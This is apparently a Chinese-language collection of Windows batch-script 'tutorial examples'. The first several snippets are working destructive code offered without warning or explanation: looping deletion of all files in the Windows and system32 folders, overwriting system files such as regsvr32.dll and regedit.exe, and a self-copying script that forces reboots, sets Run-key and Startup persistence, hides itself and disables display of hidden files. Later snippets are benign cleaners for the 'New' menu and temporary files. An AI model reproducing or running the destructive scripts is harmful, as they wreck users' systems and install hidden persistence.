批处理实例代码教程 集合

:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake

:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die

@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping

@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

@echo off
:: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了
:: 如果实在删除不了，则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可
mode con lines=25
title "新建"菜单内容删除器
color 1f
:input
cls
call :display
echo 如果要强行删除，请选 1
echo.
echo.
set input=
set /p input= 请输入后缀名：
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 请输入后缀名(强行删除)：
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 还要继续清除吗？(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能删除右键菜单中"新建"项目下的多余内容，为"新建"菜单减肥！
echo.
echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中，请直接
echo.
echo 输入该文件类型的后缀名。例如：rar。
echo.
echo 退出请选 0
echo.

@echo off
color f0
echo.
echo 正在安全地自动清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul